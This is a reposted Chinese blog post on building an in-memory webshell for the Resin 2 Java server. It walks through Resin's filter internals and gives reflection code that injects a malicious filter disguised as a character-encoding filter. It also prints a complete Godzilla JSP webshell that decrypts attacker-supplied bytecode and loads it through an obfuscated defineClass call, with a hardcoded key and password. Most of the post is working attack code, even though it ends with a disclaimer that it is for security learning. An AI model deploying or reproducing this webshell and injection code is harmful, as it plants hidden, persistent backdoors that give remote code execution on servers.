Java安全之Resin2内存马

x33g5p2x  于9个月前 转载在 Java  
字(9.0k)|赞(0)|评价(0)|浏览(534)

Java安全之Resin2内存马

环境

resin2.1.17

添加Filter分析

依然是web.xml注册一个filter,debug进去看注册流程

debug dofilter逻辑时看到如下代码,最终走入 this._filterChain = this._application.buildFilterChain(this, this._config); 去build filterchain。并且貌似是初始化的时候才会去buildfilterchain,当后面第二次再走时,这里的 _filterchain 已经是有值的了。

this._application 应为上下文对象,继续往下跟通过 QFilterConfig#createFilter 来创建了一个Filter,之后new 了一个FilterChain

注意下面三个对象,添加上即可

_filterMap

首先看 FilterMap 构造,主要是Regexp, QFilterConfig 后面再说

可以反射实例化之后调用方法或者set属性来设置值

  1. class FilterMap {
  2. static L10N L;
  3. private String servletName;
  4. private Regexp regexp;
  5. private Object data;
  6. FilterMap() {
  7. }
  8. void setServletName(String servletName) {
  9. this.servletName = servletName;
  10. }
  11. void setRegexp(String regexpPattern, String flags) throws Exception {
  12. this.regexp = new Regexp(regexpPattern, flags);
  13. }
  14. void setURLPattern(String urlPattern, String flags) throws ServletException {
  15. this.regexp = this.urlPatternToRegexp(urlPattern, flags);
  16. }

下面看Regexp ,其实就是一个正则来控制的路由处理

  1. ^.*$
  2. ^(?=/)|^$

调用有参构造即可

_filters

hashtable对象,key为filtername,value为QFilterConfig对象,key可以随便伪造成个正常的

_filterList

直接add一个QFilterConfig元素即可

看到QConfigFilter,Registry为空就走if的逻辑,传入构造好的属性即可

  1. package com.caucho.server.http;
  2. import com.caucho.util.BeanUtil;
  3. import com.caucho.util.CauchoSystem;
  4. import com.caucho.util.L10N;
  5. import com.caucho.util.RegistryNode;
  6. import java.util.Collections;
  7. import java.util.Enumeration;
  8. import java.util.HashMap;
  9. import java.util.Iterator;
  10. import javax.servlet.Filter;
  11. import javax.servlet.FilterConfig;
  12. import javax.servlet.ServletContext;
  13. import javax.servlet.ServletException;
  14. class QFilterConfig implements FilterConfig {
  15. static L10N L;
  16. private static HashMap _configElements;
  17. private Application _application;
  18. private RegistryNode _registry;
  19. private RegistryNode _initRegistry;
  20. private String _name;
  21. private String _className;
  22. private HashMap _init;
  23. private Filter _filter;
  24. QFilterConfig(Application application, String name, String defaultClassName, RegistryNode registry) throws ServletException {
  25. this._application = application;
  26. this._registry = registry;
  27. this._name = name;
  28. this._init = new HashMap();
  29. if (registry == null) {
  30. if (defaultClassName == null) {
  31. this._className = name;
  32. } else {
  33. this._className = defaultClassName;
  34. }
  35. } else {
  36. this._className = registry.getString("filter-class", defaultClassName);
  37. Iterator iter = registry.iterator();
  38. while(iter.hasNext()) {
  39. RegistryNode node = (RegistryNode)iter.next();
  40. if (node.getName().equals("init-param")) {
  41. try {
  42. application.fillParam(node, this._init);
  43. } catch (ServletException var8) {
  44. throw var8;
  45. } catch (Exception var9) {
  46. throw new ServletException(var9);
  47. }
  48. } else if (node.getName().equals("init")) {
  49. this._initRegistry = node;
  50. } else if (_configElements.get(node.getName()) == null) {
  51. throw Application.error(node, L.l("unknown element `{0}' in {1}", node.getName(), registry.getName()));
  52. }
  53. }
  54. }
  55. }

后面就是用c0ny1师傅的java-object-searcher工具挖掘Application和Request在当前线程上下文的位置即可。

  1. //设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
  2. List<Keyword> keys = new ArrayList();
  3. keys.add(new Keyword.Builder().setField_type("Request").build());
  4. keys.add(new Keyword.Builder().setField_type("Application").build());
  5. //新建一个广度优先搜索Thread.currentThread()的搜索器
  6. SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
  7. //打开调试模式
  8. searcher.setIs_debug(true);
  9. //挖掘深度为20
  10. searcher.setMax_search_depth(20);
  11. //设置报告保存位置
  12. searcher.setReport_save_path("/tmp/");
  13. searcher.searchObject();

result

  1. # Request
  2. TargetObject = {java.lang.Thread}
  3. ---> target = {com.caucho.server.TcpConnection}
  4. ---> request = {com.caucho.server.http.HttpRequest}
  5. # Application
  6. TargetObject = {java.lang.Thread}
  7. ---> contextClassLoader = {com.caucho.java.CompilingClassLoader}
  8. ---> attributes = {java.util.Hashtable}
  9. ---> attributes = {com.caucho.server.http.Application}

后面直接添加即可

主要代码

  1. private static void doInject(){
  2. filterName = "CharacterEncodingFilter-" + System.nanoTime();
  3. try {
  4. if (APPLICATION !=null){
  5. // Regexp
  6. // Class RegexpClazz = getClazz("com.caucho.regexp.Regexp");
  7. // Constructor RegexpConstructor = RegexpClazz.getDeclaredConstructor(String.class);
  8. // Object regexpObj = RegexpConstructor.newInstance("^(?=/)|^$");
  9. // QFilterConfig
  10. Class QFilterConfigclazz = getClazz("com.caucho.server.http.QFilterConfig");
  11. Constructor QFilterConfigConstructor = QFilterConfigclazz.getDeclaredConstructor(getClazz("com.caucho.server.http.Application"), String.class, String.class, getClazz("com.caucho.util.RegistryNode"));
  12. QFilterConfigConstructor.setAccessible(true);
  13. Object QFilterConfigObj = QFilterConfigConstructor.newInstance(APPLICATION, filterName, "HiganbanaFilter", null);
  14. // FilterMap
  15. Class filterMapClazz = getClazz("com.caucho.server.http.FilterMap");
  16. Constructor filterMapConstructor = filterMapClazz.getDeclaredConstructor();
  17. filterMapConstructor.setAccessible(true);
  18. Object filterMap = filterMapConstructor.newInstance();
  19. // set FilterMap regexp
  20. Method setRegexpMethod = filterMap.getClass().getDeclaredMethod("setURLPattern", String.class, String.class);
  21. setRegexpMethod.setAccessible(true);
  22. setRegexpMethod.invoke(filterMap,"/*", null);
  23. // set FilterMap data
  24. Method setDataMethod = filterMap.getClass().getDeclaredMethod("setData", Object.class);
  25. setDataMethod.setAccessible(true);
  26. setDataMethod.invoke(filterMap,QFilterConfigObj);
  27. // add FilterMap 2 _filterMap
  28. ArrayList _filterMap = (ArrayList) getFV(APPLICATION, "_filterMap");
  29. _filterMap.add(filterMap);
  30. // add QFilterConfig 2 _filterList
  31. ArrayList _filterList = (ArrayList) getFV(APPLICATION, "_filterList");
  32. _filterList.add(QFilterConfigObj);
  33. // put QFilterConfig 2 _filters
  34. Hashtable _filters = (Hashtable) getFV(APPLICATION, "_filters");
  35. _filters.put(filterName, QFilterConfigObj);
  36. }
  37. } catch (Exception e) {
  38. }
  39. }
  40. private static void getApplication(){
  41. Thread thread = Thread.currentThread();
  42. ClassLoader contextClassLoader = thread.getContextClassLoader();
  43. Hashtable attributesObj1 = (Hashtable) getFV(contextClassLoader,"attributes");
  44. APPLICATION = attributesObj1.get("caucho.application");
  45. }

但是有个弊端,debug逻辑的时候发现,只有在当前web.xml中已经存在有filter才能添加进去。暂未解决该问题。
并且即便是 _filterList.add(0, QFilterConfigObj); 虽然会加到第一个 但是顺序好像会有问题,不是根据ArrayList来调用doFilter方法的。

Godzilla

解决思路

将jsp🐎写成servlet debug

第一次请求

base64deocode后的data

aes decode后 data

第二次请求

base64decode后 data

aes decode后 data

arrout输出

第二次输出

最后定位到问题为md5操作不可以写在dopost方法里,否则每次请求都回去md5导致密码和key一直在改变,暂时的解决办法是手动md5将该值放到属性中,所以使用哥斯拉时 key的值尽量又臭又长,防止被逆。

最终Godzilla jsp password/token

  1. <%@ page import="java.net.URLClassLoader" %>
  2. <%@ page import="java.net.URL" %>
  3. <%@ page import="java.lang.reflect.Method" %>
  4. <%@ page import="java.io.ByteArrayOutputStream" %>
  5. <%!
  6. String xc="94a08da1fecbb6e8";
  7. String pass="password";
  8. String md5 = "e993fa7e0bd02f84492c51357d1f5919".toUpperCase();
  9. Class payload ;
  10. %>
  11. <%
  12. Class base64;
  13. byte[] value = null;
  14. try {
  15. base64 = Class.forName("java.util.Base64");
  16. Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
  17. value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{request.getParameter(pass)});
  18. } catch (Exception e) {
  19. try {
  20. base64 = Class.forName("sun.misc.BASE64Decoder");
  21. Object decoder = base64.newInstance();
  22. value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{request.getParameter(pass)});
  23. } catch (Exception e2) {
  24. }
  25. }
  26. byte[] data = value;
  27. boolean decode = false;
  28. try {
  29. javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
  30. c.init(decode ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
  31. data = c.doFinal(data);
  32. } catch (Exception e) {
  33. }
  34. URLClassLoader urlClassLoader;
  35. try {
  36. if (payload == null) {
  37. urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
  38. Method defMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115}), new Class[]{byte[].class, int.class, int.class});
  39. defMethod.setAccessible(true);
  40. payload = (Class) defMethod.invoke(urlClassLoader, new Object[]{data, new Integer(0), new Integer(data.length)});
  41. } else {
  42. ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
  43. Object f = payload.newInstance();
  44. f.equals(arrOut);
  45. f.equals(data);
  46. response.getWriter().write(md5.substring(0, 16));
  47. f.toString();
  48. boolean n = true;
  49. try {
  50. javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
  51. c.init(n ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
  52. byte[] tmp = c.doFinal(arrOut.toByteArray());
  53. try {
  54. base64 = Class.forName("java.util.Base64");
  55. Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
  56. String tmpvalue = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{tmp});
  57. response.getWriter().write(tmpvalue);
  58. response.getWriter().write(md5.substring(16));
  59. } catch (Exception e) {
  60. try {
  61. base64 = Class.forName("sun.misc.BASE64Encoder");
  62. Object Encoder = base64.newInstance();
  63. String tmpvalue = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{tmp});
  64. response.getWriter().write(tmpvalue);
  65. response.getWriter().write(md5.substring(16));
  66. } catch (Exception e2) {
  67. }
  68. }
  69. } catch (Exception e) {
  70. }
  71. }
  72. } catch (Exception e) {
  73. }
  74. %>

最后

项目遇到的感觉比较有趣且极端的问题,虽然也不是很好的解决方案。

所有内容仅限于维护网络安全学习参考

相关文章

最新文章

更多